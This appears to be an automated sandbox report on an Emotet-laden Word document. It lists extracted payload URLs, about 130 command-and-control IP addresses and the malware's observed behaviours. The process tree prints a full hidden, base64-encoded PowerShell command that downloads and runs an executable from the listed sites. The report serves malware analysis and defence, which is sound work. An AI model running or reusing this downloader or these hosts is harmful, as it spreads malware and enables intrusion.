Analysis
-
max time kernel
29s -
resource
win10v191014 -
submitted
16-01-2020 21:28
General
Malware Config
Extracted
http://zhangpalace.com/wp-admin/kfcuow/
http://raquelstrutz.edutrovao.com.br/wp-includes/mhj4x/
http://hoem.staging.pixelcarve.net/content/YLcMZTn/
https://mdspgrp.com/wp-includes/g6tj/
http://lula.vm-host.net/wp-content/ewww/wvo4jx/
Extracted
emotet
68.172.243.146:80
64.40.250.5:80
81.17.92.70:80
91.250.96.22:8080
37.187.72.193:8080
104.131.44.150:8080
167.71.10.37:8080
37.139.21.175:8080
73.11.153.178:8080
192.241.255.77:8080
91.205.215.66:443
201.229.45.222:8080
46.105.131.87:80
188.0.135.237:80
78.142.114.69:80
64.53.242.181:8080
93.147.141.5:443
101.187.134.207:8080
72.189.57.105:80
190.117.126.169:80
206.81.10.215:8080
210.6.85.121:80
189.203.177.41:443
181.13.24.82:80
98.174.166.205:80
98.30.113.161:80
101.187.197.33:443
78.189.180.107:80
50.116.86.205:8080
181.143.126.170:80
104.131.11.150:8080
190.117.226.104:80
91.73.197.90:80
121.88.5.176:443
78.24.219.147:8080
182.176.132.213:8090
181.126.70.117:80
190.146.205.227:8080
5.32.55.214:80
47.180.91.213:80
47.153.183.211:80
179.13.185.19:80
209.97.168.52:8080
27.109.153.201:8090
139.130.241.252:443
178.153.176.124:80
186.86.247.171:443
178.20.74.212:80
87.106.139.101:8080
190.53.135.159:21
62.138.26.28:8080
87.230.19.21:8080
24.94.237.248:80
103.86.49.11:8080
105.247.123.133:8080
66.34.201.20:7080
176.106.183.253:8080
221.165.123.72:80
95.128.43.213:8080
66.7.242.50:8080
47.6.15.79:80
223.197.185.60:80
103.97.95.218:80
120.150.246.241:80
92.222.216.44:8080
70.175.171.251:80
104.236.246.93:8080
105.27.155.182:80
95.213.236.64:8080
2.237.76.249:80
120.151.135.224:80
5.196.74.210:8080
160.16.215.66:8080
41.60.200.34:80
59.103.164.174:80
200.21.90.5:443
98.156.206.153:80
173.21.26.90:80
24.105.202.216:443
47.6.15.79:443
5.154.58.24:80
87.106.136.232:8080
78.186.5.109:443
205.185.117.108:8080
24.164.79.147:8080
115.95.6.218:443
79.159.249.152:80
206.189.112.148:8080
60.250.78.22:443
108.191.2.72:80
209.141.54.221:8080
31.31.77.83:443
85.152.174.56:80
200.116.145.225:443
178.237.139.83:8080
47.156.70.145:80
190.55.181.54:443
209.146.22.34:443
217.160.182.191:8080
211.63.71.72:8080
190.220.19.82:443
201.173.217.124:443
88.249.120.205:80
62.75.141.82:80
72.186.137.156:80
201.184.105.242:443
110.36.217.66:8080
70.169.53.234:80
108.179.206.219:8080
31.172.240.91:8080
159.65.25.128:8080
118.185.7.132:80
195.244.215.206:80
169.239.182.217:8080
60.231.217.199:8080
46.105.131.69:443
45.33.49.124:443
177.239.160.121:80
37.157.194.134:443
70.46.247.81:80
183.102.238.69:465
139.130.242.43:80
197.89.27.26:8080
58.171.42.66:8080
24.196.49.98:80
180.92.239.110:8080
149.202.153.252:8080
Signatures
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4892 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 4892 WINWORD.EXE 1700 736.exe 4628 736.exe 4676 pdfprint.exe 4660 pdfprint.exe -
Process spawned unexpected child process 1 IoCs
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4140 5020 Powershell.exe 73 -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 4140 wrote to memory of 1700 4140 Powershell.exe 80 PID 1700 wrote to memory of 4628 1700 736.exe 81 PID 4676 wrote to memory of 4660 4676 pdfprint.exe 83 -
Executes dropped EXE 4 IoCs
pid Process 1700 736.exe 4628 736.exe 4676 pdfprint.exe 4660 pdfprint.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4140 Powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 4140 Powershell.exe -
Suspicious behavior: EmotetMutantsSpam 2 IoCs
pid Process 4628 736.exe 4660 pdfprint.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Drops file in System32 directory 1 IoCs
description ioc Process File renamed C:\Users\Admin\736.exe => C:\Windows\SysWOW64\pdfprint.exe 736.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\58284dd1bedbf2c82204eb15cdad07525a70b52ff1729e051ac101c066531ce3.doc" /o ""1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Checks processor information in registry
- Enumerates system info in registry
PID:4892
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABTAGkAawBxAGoAbgBhAGYAeABuAGEAYwA9ACcARQBoAHcAZwBsAG4AZQBnACcAOwAkAFoAeABiAGgAawB3AG8AYwB3ACAAPQAgACcANwAzADYAJwA7ACQARABhAHMAYwBxAGsAZQBoAHEAbQBwAD0AJwBEAHMAaABxAGcAdAB5AHYAbABlAGcAcABzACcAOwAkAEIAcgBsAGUAeABtAG8AbQBmAGgAdwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAWgB4AGIAaABrAHcAbwBjAHcAKwAnAC4AZQB4AGUAJwA7ACQAVwByAG0AbwBjAGIAZgBuAGkAZAA9ACcAVwB2AHoAcQBvAGYAeQBjACcAOwAkAE0AcgB6AHcAbwBmAHYAYwBpAHMAYwA9ACYAKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAZQAnACsAJwBjAHQAJwApACAATgBlAFQALgB3AEUAQgBjAEwASQBFAG4AVAA7ACQARABlAGMAYgBiAHQAYwBoAGIAdQBrAHQAcgA9ACcAaAB0AHQAcAA6AC8ALwB6AGgAYQBuAGcAcABhAGwAYQBjAGUALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGsAZgBjAHUAbwB3AC8AKgBoAHQAdABwADoALwAvAHIAYQBxAHUAZQBsAHMAdAByAHUAdAB6AC4AZQBkAHUAdAByAG8AdgBhAG8ALgBjAG8AbQAuAGIAcgAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAG0AaABqADQAeAAvACoAaAB0AHQAcAA6AC8ALwBoAG8AZQBtAC4AcwB0AGEAZwBpAG4AZwAuAHAAaQB4AGUAbABjAGEAcgB2AGUALgBuAGUAdAAvAGMAbwBuAHQAZQBuAHQALwBZAEwAYwBNAFoAVABuAC8AKgBoAHQAdABwAHMAOgAvAC8AbQBkAHMAcABnAHIAcAAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AZwA2AHQAagAvACoAaAB0AHQAcAA6AC8ALwBsAHUAbABhAC4AdgBtAC0AaABvAHMAdAAuAG4AZQB0AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGUAdwB3AHcALwB3AHYAbwA0AGoAeAAvACcALgAiAFMAUABgAGwAaQBUACIAKAAnACoAJwApADsAJABOAHoAegBqAHQAcgB2AGwAbQA9ACcAUwBrAHoAegBhAHoAdwB4AGUAegBuACcAOwBmAG8AcgBlAGEAYwBoACgAJABLAGEAaABtAGUAaQBjAHoAIABpAG4AIAAkAEQAZQBjAGIAYgB0AGMAaABiAHUAawB0AHIAKQB7AHQAcgB5AHsAJABNAHIAegB3AG8AZgB2AGMAaQBzAGMALgAiAGQAbwBgAFcAbgBMAE8AYABBAEQAZgBgAEkATABlACIAKAAkAEsAYQBoAG0AZQBpAGMAegAsACAAJABCAHIAbABlAHgAbQBvAG0AZgBoAHcAKQA7ACQAQwB6AGwAbwByAGoAdAB1AHMAcQBkAD0AJwBUAGgAbgBzAHcAcQBpAG8AZABrAGEAJwA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABCAHIAbABlAHgAbQBvAG0AZgBoAHcAKQAuACIAbABFAG4AYABnAFQASAAiACAALQBnAGUAIAAzADMAMAA0ADkAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwBgAFQAYQByAFQAIgAoACQAQgByAGwAZQB4AG0AbwBtAGYAaAB3ACkAOwAkAEIAZQBvAGcAYQBhAGkAaAB0AD0AJwBUAGMAZQB0AGEAdQB2AG4AawAnADsAYgByAGUAYQBrADsAJABKAG0AYwB3AHEAYwB5AHAAawB4AGQAPQAnAFAAZABrAGMAbABoAG0AbwBoAGwAYwBuACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMAcABlAGQAZABhAG4AdQBiAGQAZABqAD0AJwBFAHYAagBxAHoAbQBlAHgAawBzACcA1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:4140 -
C:\Users\Admin\736.exe"C:\Users\Admin\736.exe"2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
PID:1700 -
C:\Users\Admin\736.exe--cda232d83⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious behavior: EmotetMutantsSpam
- Drops file in System32 directory
PID:4628
-
-
-
C:\Windows\SysWOW64\pdfprint.exe"C:\Windows\SysWOW64\pdfprint.exe"1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
PID:4676 -
C:\Windows\SysWOW64\pdfprint.exe--fd31a10d2⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious behavior: EmotetMutantsSpam
PID:4660
-